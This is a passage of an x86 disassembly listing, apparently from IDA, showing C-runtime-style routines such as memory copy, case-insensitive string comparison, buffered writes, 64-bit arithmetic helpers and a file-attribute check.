jb short loc_41CED4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41CEDC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CED4: ; CODE XREF: sub_41CE80+46j
jmp dword ptr ds:loc_41CFD8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEDC: ; CODE XREF: sub_41CE80+31j
; sub_41CE80+8Ej ...
jmp ds:off_41CF5C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CEF0
dd offset loc_41CF1C
dd offset loc_41CF40
; ---------------------------------------------------------------------------
loc_41CEF0: ; DATA XREF: sub_41CE80+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CEDC
rep movsd
jmp ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CF1C: ; DATA XREF: sub_41CE80+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CEDC
rep movsd
jmp ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CF40: ; DATA XREF: sub_41CE80+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CEDC
rep movsd
jmp ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CF5C dd offset loc_41CFBF ; DATA XREF: sub_41CE80:loc_41CEDCr
dd offset loc_41CFAC
dd offset loc_41CFA4
dd offset loc_41CF9C
dd offset loc_41CF94
dd offset loc_41CF8C
dd offset loc_41CF84
dd offset loc_41CF7C
; ---------------------------------------------------------------------------
loc_41CF7C: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CF84: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CF8C: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CF94: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CF9C: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CFA4: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CFAC: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFBF: ; CODE XREF: sub_41CE80:loc_41CEDCj
; DATA XREF: sub_41CE80:off_41CF5Co
jmp ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CFC8 dd offset loc_41CFD8 ; DATA XREF: sub_41CE80+35r
; sub_41CE80+92r ...
dd offset loc_41CFE0
dd offset loc_41CFEC
dd offset loc_41D000
; ---------------------------------------------------------------------------
loc_41CFD8: ; CODE XREF: sub_41CE80+35j
; sub_41CE80+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CFE0: ; CODE XREF: sub_41CE80+35j
; sub_41CE80+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFEC: ; CODE XREF: sub_41CE80+35j
; sub_41CE80+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D000: ; CODE XREF: sub_41CE80+35j
; sub_41CE80+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CE80+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D04C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D040
std
rep movsd
cld
jmp ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D040: ; CODE XREF: sub_41CE80+1B1j
; sub_41CE80+208j ...
neg ecx
jmp ds:off_41D110[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D04C: ; CODE XREF: sub_41CE80+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D064
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41D064+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D064: ; CODE XREF: sub_41CE80+1D6j
; DATA XREF: sub_41CE80+1DDr
jmp ds:off_41D160[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D077+1
; ---------------------------------------------------------------------------
cwde
rol byte ptr [ecx+0], 1
rcl al, 41h
loc_41D077: ; DATA XREF: sub_41CE80+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D040
std
rep movsd
cld
jmp ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D040
std
rep movsd
cld
jmp ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D040
std
rep movsd
cld
jmp ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D114
dd offset loc_41D11C
dd offset loc_41D124
dd offset loc_41D12C
dd offset loc_41D134
dd offset loc_41D13C
dd offset loc_41D144
off_41D110 dd offset loc_41D157 ; DATA XREF: sub_41CE80+1C2r
; ---------------------------------------------------------------------------
loc_41D114: ; DATA XREF: sub_41CE80+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D11C: ; DATA XREF: sub_41CE80+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D124: ; DATA XREF: sub_41CE80+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D12C: ; DATA XREF: sub_41CE80+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D134: ; DATA XREF: sub_41CE80+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D13C: ; DATA XREF: sub_41CE80+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D144: ; DATA XREF: sub_41CE80+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D157: ; CODE XREF: sub_41CE80+1C2j
; DATA XREF: sub_41CE80:off_41D110o
jmp ds:off_41D160[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D160 dd offset loc_41D170 ; DATA XREF: sub_41CE80+1B7r
; sub_41CE80:loc_41D064r ...
dd offset loc_41D178
dd offset loc_41D188
dd offset loc_41D19C
; ---------------------------------------------------------------------------
loc_41D170: ; CODE XREF: sub_41CE80+1B7j
; sub_41CE80:loc_41D064j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D178: ; CODE XREF: sub_41CE80+1B7j
; sub_41CE80:loc_41D064j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D188: ; CODE XREF: sub_41CE80+1B7j
; sub_41CE80:loc_41D064j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D19C: ; CODE XREF: sub_41CE80+1B7j
; sub_41CE80:loc_41D064j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CE80 endp
; =============== S U B R O U T I N E =======================================
sub_41D1B5 proc near ; CODE XREF: sub_40D5CD+34p
; sub_40D5CD+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B6D7
pop ecx
pop ecx
retn
sub_41D1B5 endp
; =============== S U B R O U T I N E =======================================
sub_41D1C3 proc near ; CODE XREF: sub_41D230+4p
arg_0 = dword ptr 4
push esi
push ds:dword_4DF55C
call sub_422828
mov edx, ds:dword_4DF55C
pop ecx
mov ecx, ds:dword_4DF558
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D222
push edx
call sub_422828
add eax, 10h
push eax
push ds:dword_4DF55C
call sub_41B3F2
add esp, 0Ch
test eax, eax
jnz short loc_41D205
retn
; ---------------------------------------------------------------------------
loc_41D205: ; CODE XREF: sub_41D1C3+3Fj
mov ecx, ds:dword_4DF558
sub ecx, ds:dword_4DF55C
mov ds:dword_4DF55C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov ds:dword_4DF558, ecx
loc_41D222: ; CODE XREF: sub_41D1C3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add ds:dword_4DF558, 4
retn
sub_41D1C3 endp
; =============== S U B R O U T I N E =======================================
sub_41D230 proc near ; CODE XREF: sub_40D6BA+1Ap
; sub_4269FE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D1C3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D230 endp
; =============== S U B R O U T I N E =======================================
sub_41D242 proc near ; DATA XREF: seg002:0042A020o
push 80h
call sub_41B6C5
test eax, eax
pop ecx
mov ds:dword_4DF55C, eax
jnz short loc_41D263
push 18h
call sub_41DC49
mov eax, ds:dword_4DF55C
pop ecx
loc_41D263: ; CODE XREF: sub_41D242+12j
and dword ptr [eax], 0
mov eax, ds:dword_4DF55C
mov ds:dword_4DF558, eax
retn
sub_41D242 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D271 proc near ; CODE XREF: sub_40D83A+1A3p
var_20 = byte ptr -20h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call ds:dword_428130 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call near ptr 0B10000h
mov byte ptr [esi-75h], 45h
jmp far ptr 4DDFh:22053B66h
sub_41D271 endp
; ---------------------------------------------------------------------------
dd 663B7500h, 66E8458Bh, 0DF20053Bh, 2E75004Dh, 0E6458B66h
dd 1E053B66h, 75004DDFh, 458B6621h, 53B66E2h, 4DDF1Ah
dd 8B661475h, 3B66E045h, 4DDF1805h, 0A1077500h, 4DDF10h
dd 858D45EBh, 0FFFFFF34h, 2D1EE850h, 8390006Fh, 1B74FFF8h
dd 7502F883h, 7D836612h, 0B7400CEh, 0DC7D83h, 16A0574h
dd 3307EB58h, 8303EBC0h, 5756FFC8h, 0BFE0758Dh, 4DDF18h
dd 0A5A5A5A5h, 0DF10A35Fh, 505E004Dh, 0FC45B70Fh, 45B70F50h
dd 0B70F50FAh, 0F50F845h, 50F645B7h, 0F245B70Fh, 45B70F50h
dd 4AE850F0h, 8B000055h, 0C483084Dh, 74C9851Ch, 0C9018902h
dd 0CCCCCCC3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D350 proc near ; CODE XREF: sub_40D83A+19p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DDF6C
cmp dword ptr [eax+8], 0
jnz short loc_41D3A3
mov al, 0FFh
mov edi, edi
loc_41D36C: ; CODE XREF: sub_41D350+28j
; sub_41D350+48j
or al, al
jz short loc_41D39E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D36C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D36C
sbb al, al
sbb al, 0FFh
loc_41D39E: ; CODE XREF: sub_41D350+1Ej
movsx eax, al
jmp short loc_41D3D7
; ---------------------------------------------------------------------------
loc_41D3A3: ; CODE XREF: sub_41D350+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D3AC: ; CODE XREF: sub_41D350+68j
; sub_41D350+80j
or al, al
jz short loc_41D3D7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D3AC
push eax
push ebx
call sub_41D96C
mov ebx, eax
add esp, 4
call sub_41D96C
add esp, 4
cmp bl, al
jz short loc_41D3AC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D3D7: ; CODE XREF: sub_41D350+51j
; sub_41D350+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D350 endp
; =============== S U B R O U T I N E =======================================
sub_41D3DC proc near ; CODE XREF: sub_40E3D2+193p
; sub_40E3D2+1DDp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, offset dword_43F578
push edi
push esi
call sub_420666
mov edi, eax
lea eax, [esp+10h+arg_4]
push eax
push [esp+14h+arg_0]
push esi
call sub_41F8BF
push esi
push edi
mov ebx, eax
call sub_4206F3
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_41D3DC endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D489
mov edi, [esp+14h]
test edi, edi
jz short loc_41D42C
cmp edi, 1
jz short loc_41D42C
cmp edi, 2
jnz short loc_41D489
loc_41D42C: ; CODE XREF: seg000:0041D420j
; seg000:0041D425j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D443
push esi
call sub_422A9E
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D443: ; CODE XREF: seg000:0041D434j
push esi
call sub_41DDAB
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D458
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D46C
; ---------------------------------------------------------------------------
loc_41D458: ; CODE XREF: seg000:0041D44Fj
test al, 1
jz short loc_41D46C
test al, 8
jz short loc_41D46C
test ah, 4
jnz short loc_41D46C
mov dword ptr [esi+18h], 200h
loc_41D46C: ; CODE XREF: seg000:0041D456j
; seg000:0041D45Aj ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_422A04
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D496
; ---------------------------------------------------------------------------
loc_41D489: ; CODE XREF: seg000:0041D418j
; seg000:0041D42Aj
mov ds:dword_4DDEB4, 16h
or eax, 0FFFFFFFFh
loc_41D496: ; CODE XREF: seg000:0041D487j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D4A0 proc near ; CODE XREF: seg000:00412DDAp
; sub_413991+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D4B9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D4B9: ; CODE XREF: sub_41D4A0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D4A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D4 proc near ; CODE XREF: seg000:0041636Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D4F8
xor eax, eax
jmp loc_41D5C5
; ---------------------------------------------------------------------------
loc_41D4F8: ; CODE XREF: sub_41D4D4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D50B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D512
; ---------------------------------------------------------------------------
loc_41D50B: ; CODE XREF: sub_41D4D4+2Dj
mov [ebp+arg_C], 1000h
loc_41D512: ; CODE XREF: sub_41D4D4+35j
; sub_41D4D4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D546
mov eax, [esi+4]
test eax, eax
jz short loc_41D546
cmp ebx, eax
mov edi, ebx
jb short loc_41D52C
mov edi, eax
loc_41D52C: ; CODE XREF: sub_41D4D4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C500
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D58C
; ---------------------------------------------------------------------------
loc_41D546: ; CODE XREF: sub_41D4D4+47j
; sub_41D4D4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D591
test ecx, ecx
jz short loc_41D55A
push esi
call sub_41DDAB
test eax, eax
pop ecx
jnz short loc_41D5D3
loc_41D55A: ; CODE XREF: sub_41D4D4+79j
cmp [ebp+arg_C], 0
jz short loc_41D56D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D56F
; ---------------------------------------------------------------------------
loc_41D56D: ; CODE XREF: sub_41D4D4+8Aj
mov edi, ebx
loc_41D56F: ; CODE XREF: sub_41D4D4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call loc_422BF6
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D5CA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D5CA
loc_41D58C: ; CODE XREF: sub_41D4D4+70j
mov edi, [ebp+var_4]
jmp short loc_41D5BA
; ---------------------------------------------------------------------------
loc_41D591: ; CODE XREF: sub_41D4D4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F7AA
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D5D3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D5BA
mov [ebp+arg_C], 1
loc_41D5BA: ; CODE XREF: sub_41D4D4+BBj
; sub_41D4D4+DDj
test ebx, ebx
jnz loc_41D512
mov eax, [ebp+arg_8]
loc_41D5C5: ; CODE XREF: sub_41D4D4+1Fj
; sub_41D4D4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D5CA: ; CODE XREF: sub_41D4D4+ADj
; sub_41D4D4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D5D5
; ---------------------------------------------------------------------------
loc_41D5D3: ; CODE XREF: sub_41D4D4+84j
; sub_41D4D4+CFj
mov eax, edi
loc_41D5D5: ; CODE XREF: sub_41D4D4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D5C5
sub_41D4D4 endp
; =============== S U B R O U T I N E =======================================
sub_41D5DE proc near ; CODE XREF: sub_41697A+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_428098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41D5FE
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
call sub_4205FF
pop ecx
loc_41D5FA: ; CODE XREF: sub_41D5DE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D5FE: ; CODE XREF: sub_41D5DE+Dj
test al, 1
jz short loc_41D61F
test [esp+arg_4], 2
jz short loc_41D61F
mov ds:dword_4DDEB4, 0Dh
mov ds:dword_4DDEB8, 5
jmp short loc_41D5FA
; ---------------------------------------------------------------------------
loc_41D61F: ; CODE XREF: sub_41D5DE+22j
; sub_41D5DE+29j
xor eax, eax
retn
sub_41D5DE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D630 proc near ; CODE XREF: sub_416994+3Fp
; sub_41AB62+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D652
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D693
; ---------------------------------------------------------------------------
loc_41D652: ; CODE XREF: sub_41D630+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D660: ; CODE XREF: sub_41D630+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D660
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D68E
cmp edx, [esp+8+arg_4]
ja short loc_41D68E
jb short loc_41D68F
cmp eax, [esp+8+arg_0]
jbe short loc_41D68F
loc_41D68E: ; CODE XREF: sub_41D630+4Ej
; sub_41D630+54j
dec esi
loc_41D68F: ; CODE XREF: sub_41D630+56j
; sub_41D630+5Cj
xor edx, edx
mov eax, esi
loc_41D693: ; CODE XREF: sub_41D630+20j
pop esi
pop ebx
retn 10h
sub_41D630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D6A0 proc near ; CODE XREF: sub_416994+2Dp
; sub_41AB62+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D6C1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D711
; ---------------------------------------------------------------------------
loc_41D6C1: ; CODE XREF: sub_41D6A0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D6CF: ; CODE XREF: sub_41D6A0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D6CF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D6FA
cmp edx, [esp+4+arg_4]
ja short loc_41D6FA
jb short loc_41D702
cmp eax, [esp+4+arg_0]
jbe short loc_41D702
loc_41D6FA: ; CODE XREF: sub_41D6A0+4Aj
; sub_41D6A0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D702: ; CODE XREF: sub_41D6A0+52j
; sub_41D6A0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D711: ; CODE XREF: sub_41D6A0+1Fj
pop ebx
retn 10h
sub_41D6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D720 proc near ; CODE XREF: sub_416AA3+5Fp
; sub_416AA3+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D741
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D741: ; CODE XREF: sub_41D720+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D75D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D75D: ; CODE XREF: sub_41D720+27j
or eax, eax
jnz short loc_41D779
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D7BA
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D720+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D787: ; CODE XREF: sub_41D720+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D787
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D7B5
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D7B5
jb short loc_41D7B6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D7B6
loc_41D7B5: ; CODE XREF: sub_41D720+85j
; sub_41D720+8Bj
dec esi
loc_41D7B6: ; CODE XREF: sub_41D720+8Dj
; sub_41D720+93j
xor edx, edx
mov eax, esi
loc_41D7BA: ; CODE XREF: sub_41D720+57j
dec edi
jnz short loc_41D7C4
neg edx
neg eax
sbb edx, 0
loc_41D7C4: ; CODE XREF: sub_41D720+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7CA proc near ; CODE XREF: sub_41714F+BFp
; sub_41714F+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4DDF74
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D7FE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D865
loc_41D7E6: ; CODE XREF: sub_41D7CA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D7F7
cmp cl, 7Ah
jg short loc_41D7F7
sub cl, 20h
mov [edx], cl
loc_41D7F7: ; CODE XREF: sub_41D7CA+21j
; sub_41D7CA+26j
inc edx
cmp [edx], bl
jnz short loc_41D7E6
jmp short loc_41D865
; ---------------------------------------------------------------------------
loc_41D7FE: ; CODE XREF: sub_41D7CA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call loc_422DA3
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D857
push edi
call sub_41B6C5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D857
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push ds:dword_4DDF74
call loc_422DA3
add esp, 20h
test eax, eax
jz short loc_41D857
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C0A0
pop ecx
pop ecx
loc_41D857: ; CODE XREF: sub_41D7CA+53j
; sub_41D7CA+61j ...
push [ebp+var_4]
call sub_41B2A1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D865: ; CODE XREF: sub_41D7CA+1Aj
; sub_41D7CA+32j
pop ebx
leave
retn
sub_41D7CA endp
; =============== S U B R O U T I N E =======================================
sub_41D868 proc near ; CODE XREF: sub_417B38+1A3p
arg_0 = dword ptr 4
cmp ds:dword_43F194, 1
jle short loc_41D87F
push 4
push [esp+4+arg_0]
call sub_41F735
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D87F: ; CODE XREF: sub_41D868+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_43EF88
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D868 endp
; =============== S U B R O U T I N E =======================================
sub_41D890 proc near ; CODE XREF: sub_420730+76p
; sub_420730+88p ...
